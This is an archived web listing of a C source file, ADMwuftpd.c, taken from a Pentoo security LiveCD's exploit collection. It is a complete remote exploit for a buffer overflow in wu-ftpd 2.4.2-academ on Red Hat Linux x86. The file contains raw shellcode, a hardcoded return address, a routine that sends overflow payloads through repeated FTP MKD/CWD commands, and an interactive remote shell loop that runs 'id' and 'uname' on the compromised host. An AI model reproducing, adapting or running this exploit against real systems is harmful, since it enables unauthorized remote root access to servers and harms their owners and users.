home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / ftp / wuftpd / ADMwuftpd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  254 lines

  1. /*
  2.     THIS IS PRIVATE! DO NOT DISTRIBUTE!!!!   PRIVATE!
  3.  
  4.     WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
  5.     for linux x86 (redhat 5.2)
  6.  
  7.     by duke
  8.     duke@viper.net.au
  9.  
  10.     BIG thanks to stran9er for alot of help with part of the shellcode!
  11.     i fear stran9er, but who doesn't? !@$ :)
  12.  
  13.     Greets to: #!ADM, el8.org users,  
  14.     
  15.     To exploit this remotely they need to have a directory you can
  16.     have write privlidges to.. this is the <dir> argument.. you can
  17.     also use this locally by specifying -l <ur login> <urpass> with the
  18.     <dir> = your home directory or something
  19.     -duke
  20. */
  21.  
  22. #include <stdio.h>
  23. #include <string.h>
  24. #include <netdb.h>
  25. #include <netinet/in.h>
  26. #include <sys/socket.h>
  27. #include <sys/types.h>
  28. #include <sys/select.h>
  29.  
  30. #define RET 0xbfffa80f
  31.  
  32. void logintoftp();
  33. void sh();
  34. void mkd(char *);
  35. int max(int, int);
  36.  
  37. char shellcode[] =
  38.   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
  39.   "\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
  40.   "\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
  41.   "\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
  42.   "\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
  43.   "\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
  44.   "\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
  45.   "\x80\xe8\xac\xff\xff\xff";
  46.  
  47. char tmp[256];
  48. char name[128], pass[128];
  49.  
  50. int sockfd;
  51.  
  52. int main(int argc, char **argv)
  53. {
  54.   char sendln[1024], recvln[4048], buf1[800], buf2[1000];
  55.   char *p, *q;
  56.   int len, offset = 0, i;
  57.   struct sockaddr_in cli;
  58.  
  59.   if(argc < 3)
  60.     {
  61.       printf("usage: %s <host> <dir> [-l name pass] [offset]\n", argv[0]);
  62.       exit(0);
  63.     }
  64.   if(argc >= 4)
  65.     {
  66.       if(strcmp(argv[3], "-l") == 0)
  67.         {
  68.           strncpy(name, argv[4], 128);
  69.           strncpy(pass, argv[5], 128);
  70.         }
  71.       else
  72.         {
  73.           offset = atoi(argv[3]);
  74.         }
  75.       if(argc == 7)
  76.         offset = atoi(argv[6]);
  77.     }
  78.  
  79.   if(name[0] == 0 && pass[0] == 0)
  80.     {
  81.       strcpy(name, "anonymous");
  82.       strcpy(pass, "hi@blahblah.net");
  83.     }
  84.  
  85.   bzero(&cli, sizeof(cli));
  86.   bzero(recvln, sizeof(recvln));
  87.   bzero(sendln, sizeof(sendln));
  88.   cli.sin_family = AF_INET;
  89.   cli.sin_port = htons(21);
  90.   inet_pton(AF_INET, argv[1], &cli.sin_addr);
  91.  
  92.   if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  93.     {
  94.       perror("socket");
  95.       exit(0);
  96.     }
  97.  
  98.   if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0)
  99.     {
  100.       perror("connect");
  101.       exit(0);
  102.     }
  103.   while((len = read(sockfd, recvln, sizeof(recvln))) > 0)
  104.     {
  105.       recvln[len] = '\0';
  106.       if(strchr(recvln, '\n') != NULL)
  107.         break;
  108.     }
  109.   logintoftp(sockfd);
  110.   printf("logged in.\n");
  111.   bzero(sendln, sizeof(sendln));
  112.  
  113.   for(i=0; i<996; i+=4)
  114.     *(long *)&buf2[i] = RET + offset;
  115.   memset(buf1, 0x90, 800);
  116.   memcpy(buf1, argv[2], strlen(argv[2]));
  117.   mkd(argv[2]);
  118.   p = &buf1[strlen(argv[2])];
  119.   q = &buf1[799];
  120.   *q = '\x0';
  121.   while(p <= q)
  122.     {
  123.       strncpy(tmp, p, 200);
  124.       mkd(tmp);
  125.       p+=200;
  126.     }
  127.   mkd(shellcode);
  128.   mkd("bin");
  129.   mkd("sh");
  130.   p = &buf2[0];
  131.   q = &buf2[999];
  132.   while(p <= q)
  133.     {
  134.       strncpy(tmp, p, 250);
  135.       mkd(tmp);
  136.       p+=250;
  137.     }
  138.   sh(sockfd);
  139.  
  140.  
  141.   close(sockfd);
  142.   printf("finit.\n");
  143. }
  144.  
  145. void mkd(char *dir)
  146. {
  147.   char snd[512], rcv[1024];
  148.   char blah[1024], *p;
  149.   int n;
  150.  
  151.   bzero(blah, sizeof(blah));
  152.   p = blah;
  153.   for(n=0; n<strlen(dir); n++)
  154.     {
  155.       if(dir[n] == '\xff')
  156.         {
  157.           *p = '\xff';
  158.           p++;
  159.         }
  160.       *p = dir[n];
  161.       p++;
  162.     }
  163.   sprintf(snd, "MKD %s\r\n", blah);
  164.   write(sockfd, snd, strlen(snd));
  165.   bzero(snd, sizeof(snd));
  166.   sprintf(snd, "CWD %s\r\n", blah);
  167.   write(sockfd, snd, strlen(snd));
  168.   bzero(rcv, sizeof(rcv));
  169.   while((n = read(sockfd, rcv, sizeof(rcv))) > 0)
  170.     {
  171.       rcv[n] = 0;
  172.       if(strchr(rcv, '\n') != NULL)
  173.         break;
  174.     }
  175.   return;
  176. }
  177.  
  178. void logintoftp()
  179. {
  180.   char snd[1024], rcv[1024];
  181.   int n;
  182.  
  183.   printf("logging in with %s: %s\n", name, pass);
  184.   memset(snd, '\0', 1024);
  185.   sprintf(snd, "USER %s\r\n", name);
  186.   write(sockfd, snd, strlen(snd));
  187.  
  188.   while((n=read(sockfd, rcv, sizeof(rcv))) > 0)
  189.     {
  190.       rcv[n] = 0;
  191.       if(strchr(rcv, '\n') != NULL)
  192.         break;
  193.     }
  194.  
  195.   memset(snd, '\0', 1024);
  196.   sprintf(snd, "PASS %s\r\n", pass);
  197.   write(sockfd, snd, strlen(snd));
  198.  
  199.   while((n=read(sockfd, rcv, sizeof(rcv))) > 0)
  200.     {
  201.       rcv[n] = 0;
  202.       if(strchr(rcv, '\n') != NULL)
  203.         break;
  204.     }
  205.   return;
  206. }
  207.  
  208. void sh()
  209. {
  210.   char snd[1024], rcv[1024];
  211.   fd_set rset;
  212.   int maxfd, n;
  213.  
  214.   strcpy(snd, "cd /; uname -a; pwd; id;\n");
  215.   write(sockfd, snd, strlen(snd));
  216.  
  217.   for(;;)
  218.     {
  219.       FD_SET(fileno(stdin), &rset);
  220.       FD_SET(sockfd, &rset);
  221.       maxfd = max(fileno(stdin), sockfd) + 1;
  222.       select(maxfd, &rset, NULL, NULL, NULL);
  223.       if(FD_ISSET(fileno(stdin), &rset))
  224.         {
  225.           bzero(snd, sizeof(snd));
  226.           fgets(snd, sizeof(snd)-2, stdin);
  227.           write(sockfd, snd, strlen(snd));
  228.         }
  229.       if(FD_ISSET(sockfd, &rset))
  230.         {
  231.           bzero(rcv, sizeof(rcv));
  232.           if((n = read(sockfd, rcv, sizeof(rcv))) == 0)
  233.             {
  234.               printf("EOF.\n");
  235.               exit(0);
  236.             }
  237.           if(n < 0)
  238.             {
  239.               perror("read");
  240.               exit(-1);
  241.             }
  242.           fputs(rcv, stdout);
  243.         }
  244.     }
  245. }
  246.  
  247. int max(int x, int y)
  248. {
  249.   if(x > y)
  250.     return(x);
  251.   return(y);
  252. }
  253.  
  254.